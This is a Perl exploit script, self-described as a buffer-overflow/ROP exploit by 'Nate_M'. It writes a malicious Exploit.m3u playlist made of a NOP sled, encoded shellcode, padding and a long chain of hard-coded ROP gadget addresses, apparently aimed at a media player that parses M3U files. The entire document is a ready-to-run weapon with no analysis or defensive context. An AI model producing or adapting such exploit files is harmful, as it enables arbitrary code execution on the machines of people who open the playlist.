use strict;
use warnings;
use IO::File;
print q
{
BOF/ROP exploit created by Nate_M
Now writing M3U file...
};
my $shellcode =
"\xe8\xff\xff\xff\xff\xc8\x5a\x2b\xc9\xb1\x33" .
"\xb8\xc4\xc4\xb8\xb3\x66\x81\xec\x10\x10" .
"\x31\x42\x17\x83\xc2\x04\x03\x86\xd7\x5a\x46\xfa" .
"\x30\x13\xa9\x02\xc1\x44\x23\xe7\xf0\x56\x57\x6c\xa0\x66" .
"\x13\x20\x49\x0c\x71\xd0\xda\x60\x5e\xd7\x6b\xce\xb8\xd6" .
"\x6c\xfe\x04\xb4\xaf\x60\xf9\xc6\xe3\x42\xc0\x09\xf6\x83" .
"\x05\x77\xf9\xd6\xde\xfc\xa8\xc6\x6b\x40\x71\xe6\xbb\xcf" .
"\xc9\x90\xbe\x0f\xbd\x2a\xc0\x5f\x6e\x20\x8a\x47\x04\x6e" .
"\x2b\x76\xc9\x6c\x17\x31\x66\x46\xe3\xc0\xae\x96\x0c\xf3" .
"\x8e\x75\x33\x3c\x03\x87\x73\xfa\xfc\xf2\x8f\xf9\x81\x04" .
"\x54\x80\x5d\x80\x49\x22\x15\x32\xaa\xd3\xfa\xa5\x39\xdf" .
"\xb7\xa2\x66\xc3\x46\x66\x1d\xff\xc3\x89\xf2\x76\x97\xad" .
"\xd6\xd3\x43\xcf\x4f\xb9\x22\xf0\x90\x65\x9a\x54\xda\x87" .
"\xcf\xef\x81\xcd\x0e\x7d\xbc\xa8\x11\x7d\xbf\x9a\x79\x4c" .
"\x34\x75\xfd\x51\x9f\x32\xf1\x1b\x82\x12\x9a\xc5\x56\x27" .
"\xc7\xf5\x8c\x6b\xfe\x75\x25\x13\x05\x65\x4c\x16\x41\x21" .
"\xbc\x6a\xda\xc4\xc2\xd9\xdb\xcc\xa0\xbc\x4f\x8c\x08\x5b" .
"\xe8\x37\x55";
my $buf = "\x90" x 1000;
$buf .= $shellcode;
$buf .= "\x41" x (2368-length($buf));;
$buf .= "0000";
$buf .= "1111";
$buf .= "2222";
$buf .= "3333";
$buf .= "4444";
$buf .= "\x60\x63\x12\x6B";
$buf .= "\x41" x 76;
$buf .= pack('V',0x649ABC7B);
$buf .= "\x41" x 4;
$buf .= pack('V',0x6B0402A9);
$buf .= "\x41" x 4;
$buf .= pack('V',0x649509B4);
$buf .= pack('V',0x6AD9AC5C);
$buf .= pack('V',0x6AD5C728);
$buf .= pack('V',0x6AD79CAC);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x649509B4);
$buf .= pack('V',0x6AD5130E);
$buf .= pack('V',0x6AF1DCB5);
$buf .= pack('V',0x6AFA5EE9);
$buf .= pack('V',0x649509B4);
$buf .= pack('V',0x6AD9AC5C);
$buf .= pack('V',0x6AD5C728);
$buf .= pack('V',0x6AD5C6FD) x 2;
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6AD5C6FD);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6AD5C6FD);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6AF1DCB5);
$buf .= pack('V',0x6AD5130E);
$buf .= pack('V',0x6AE8F378);
$buf .= pack('V',0x6AFCD525);
$buf .= pack('V',0x6AD9AC5C);
$buf .= pack('V',0x6AD5C728);
$buf .= pack('V',0x6AD79CAC) x 12;
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6AD5C6FD);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6AFCD525);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x649509B4);
$buf .= pack('V',0x6AE62D12);
$buf .= pack('V',0x6AD5C6FD) x 4;
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x649509B4);
$buf .= pack('V',0x6B0B79D2);
$buf .= pack('V',0x6AFCD525);
$buf .= pack('V',0x6AD9AC5C);
$buf .= pack('V',0x6AD5C728);
$buf .= pack('V',0x6AD79CAC) x 31;
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6AFCD525);
$buf .= pack('V',0x6AD5130E);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x649509B4);
$buf .= pack('V',0x6AE62D12);
$buf .= pack('V',0x6AD5C6FD) x 4;
$buf .= pack('V',0x6AE62D12);
$buf .= pack('V',0x6AD5C6FD) x 4;
$buf .= pack('V',0x6AFCD525);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6AFCD525);
$buf .= pack('V',0x6AE62D12);
$buf .= pack('V',0x6AD5C6FD) x 4;
$buf .= pack('V',0x6AFCD525);
$buf .= pack('V',0x6AD9AC5C);
$buf .= pack('V',0x6AD5C6FD) x 4;
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6B0B4113);
$buf .= pack('V',0x6B0B79D0);
$buf .= pack('V',0x6AFCD525);
$buf .= pack('V',0x6AE62D12);
$buf .= pack('V',0x6AD79CAC) x 16;
$buf .= pack('V',0x6AD44B94);
$buf .= "\x41" x (5172-length($buf));;
$buf .= "\xff\xff\xff\xff";
$buf .= pack('V',0x64953AD6);
$buf .= "\x41" x 2000;
open(my $FILE,">Exploit.m3u") || die "**Error:\n$!\n";
print $FILE "http:// ".$buf;
close($FILE);
print "\tFile Created With Sucess\n\n";